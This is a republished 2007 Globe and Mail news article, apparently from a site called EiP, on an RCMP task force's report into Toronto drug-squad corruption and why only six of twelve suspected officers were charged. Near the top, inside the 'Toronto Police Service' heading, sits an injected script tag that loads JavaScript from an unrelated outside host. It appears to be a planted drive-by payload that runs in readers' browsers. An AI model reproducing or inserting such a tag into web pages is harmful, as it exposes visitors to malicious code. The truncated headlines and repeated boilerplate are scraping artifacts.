NEWS > 28 April 2007

Article sourced from

Toronto Police Service<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Globe and Mail - Toronto,Ontar
28 April 2007

This article appeared in the above title/site.
To view it in its entirity click this link.

Toronto Police Service

Corruption probe fell short, s

On the advice of Crown prosecutors, only six of 12 drug-squad officers suspected of breaking the law were charged, document alleges

The biggest probe of police corruption allegations in Canadian history charged only half of the officers who were suspected of breaking the law, The Globe and Mail has learned.

Six Toronto police officers faced 22 criminal charges when the probe - headed by then-staff-superintendent John Neily of the Royal Canadian Mounted Police - wrapped up in January of 2004.

According to sources familiar with the "final report," which was delivered to then Toronto police chief Julian Fantino more than a year later, accusations that did not lead to charges included:

- allegations informants were paid with drugs seized in busts;

- allegations officers stole a pound of cocaine;

- allegations an officer stole drugs and weapons, then sold them;

- allegations that three officers suspected of being cocaine users had no action taken against them and were later promoted.

Supt. Neily's report, dated May, 2005, contains other insights into the three-year investigation and the difficulties it encountered.

One section appears to suggest that, despite charging only half as many officers as it might have, the task force would nonetheless enable Chief Fantino "to get your point across."

Mr. Fantino is currently the Commissioner of the Ontario Provincial Police.

In another passage cited by a source who has seen the report, Supt. Neily - who has since been promoted to RCMP Deputy Commissioner - claims that senior officials in the federal Department of Justice hindered the probe.

Supt. Neily wrote that he charged only six officers on the advice of top Ontario prosecutors, according to a source familiar with the report.

Sources say Supt. Neily tells Chief Fantino in the report that he "elected" from the outset to ask Ontario prosecutors which cases offered both a "reasonable prospect of conviction" and were deemed in the public interest to prosecute.

A total of 218 criminal charges against 12 officers were referred to the Crown Law Office, the report says. Prosecutors suggested charging six officers with 22 counts in connection with an alleged conspiracy while naming four others "as unindicted co-conspirators."

Prosecutors also advised that as a "rule of thumb" no more than seven accused should be charged with conspiracy for fear of overwhelming the court process.

Deputy Commissioner Neily, who was unaware that The Globe and Mail had been briefed on the contents of his report, wrote in a brief e-mail this week that it is "common practice" for investigators to ask prosecutors for advice.

"In this particular case, I did seek such advice and received it . . . I am not at liberty to provide you any detail of that, as it is covered by recognized legal 'solicitor-client privilege,' " Deputy Commissioner Neily wrote.

Although the task force left on the table 196 potential charges, sources familiar with the Neily report say it suggests that the charges actually laid would be sufficient to send a message to the whole force.

"I see no value added to anyone to do any further investigation, except those issues . . . that may arise in support of the prosecution now initiated," a portion of the report says.

"From the position of a police officer, just how many times do you have to charge another police officer with attempt to obstruct justice, perjury, or deceit, in order to get your point across?"

The report also says that the Toronto Police Service is one of the best in Canada, sources say.

Six former drug squad officers were charged on Jan. 7, 2004. All the charged officers assert they are not guilty of any wrongdoing, and none of the allegations against any officer have been proven in court.

Those charges include allegations that the six conspired to steal drugs and cash from drug traffickers and then cover up the crime by falsifying court affidavits, police memo books and police records.

Four other officers were named as "unindicted co-conspirators" and a further 91 internal Police Services Act charges were laid as a result of the probe. All 10 officers named are ex-members of the now-defunct Central Field Command drug squad Team 3.

When a six-month preliminary hearing ended last summer, Mr. Justice James Blacklock ordered five of the six officers to stand trial on charges that they conspired to obstruct justice and attempted to obstruct justice. Conspiracy charges against a sixth officer were dismissed. All six were sent to trial on a variety of other charges. Judge Blacklock also warned prosecutors that they had "serious credibility issues" with a "significant" number of witnesses.

It seems that Supt. Neily had this very issue in mind in the fall of 2001 when he formed the 25-member task force at the request of Chief Fantino.

From the outset, according to the Neily report, Ontario prosecutors advised against building a case solely on the evidence of drug traffickers, who would be vulnerable on the witness stand because of "questionable and unsavoury character." Supt. Neily was also advised that it would be "crucial" to corroborate drug dealer allegations through police records and memo books, according to sources who have seen the report.

The strategy had the support of Chief Fantino, the task force members and the Toronto Police Association "in light of the serious nature of the allegations being investigated."

Sources say the report also noted that two prior internal affairs investigations into complaints about the drug squad lacked "the resources or executive commitment to be able to succeed on a co-ordinated review."

The report specifically absolves any Toronto Police Service senior officer or supervisor of any criminal wrongdoing.

But the report suggests conflict with the federal Department of Justice, which was involved in drug-trafficking cases the task force reviewed.

Senior federal justice officials not only denied the task force access to Crown briefs, but also refused interviews with prosecutors, according to sources who have read the Neily report.

The task force had to execute a search warrant on the Justice Department to get case briefings, the report says.

"I believe it is safe to say that the stance that the DOJ has taken is both disappointing and unexplained," the report says.

According to sources, other revelations in the Neily report include:

- An allegation that former Northwest Field Command drug squad Constable Rob Kelly, who pleaded guilty to possession of cocaine in 2004 on allegations that he supplied and did cocaine with a police agent, admitted upon his arrest that he had "skimmed cocaine from exhibits";

- an assertion that "no action was taken" by Toronto Police against three other Northwest Field Command officers who were suspected of using cocaine. These three officers have since been promoted.

The special task force cost the Toronto Police Service $4-million and the RCMP $1.2-million through May of 2005, the report says. A small squad has maintained the court case since then.

Last spring, Sergeant Jim Cassells, a 30-year veteran and a member of the Neily task force, alleged that other wrongdoing that was uncovered had been either minimized, overlooked or swept under the carpet by internal affairs brass.

A second task force detective, retired sergeant Neal Ward, supported Sgt. Cassells's allegations, saying they were "mostly correct."

Current Police Chief Bill Blair has refused to release the results of a review of Sgt. Cassells's allegations by York Regional Police Inspector Mark Tatz - despite earlier promises by Toronto Police Services Board chairman Alok Mukherjee that its results would be made public.

When told of some of the contents of the Neily report, Edward Sapiano, a Toronto lawyer whose 1999 complaint on behalf of a client helped launch the probe, said he was "really quite impressed" at its candour and sincerity.

Mr. Sapiano also agreed with the "logic" of avoiding trying 12 officers on hundreds of charges. "There is always some practical give and take. The world is a practical place, has to be a practical place . . . and that's okay, as long as the charges laid are pursued vigorously and sincerely," he said.

He noted that major busts with dozens of accused may make it seem as if police are taking action, but once the cases get to court they become "unmanageable" and usually collapse. But no matter what happens in court, Mr. Sapiano said, officials must ultimately come clean and he pressed for a public inquiry.

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Globe and Mail - Toronto,Ontar28 April 2007

Corruption probe fell short, s

EiP Comments:

Globe and Mail - Toronto,Ontar
28 April 2007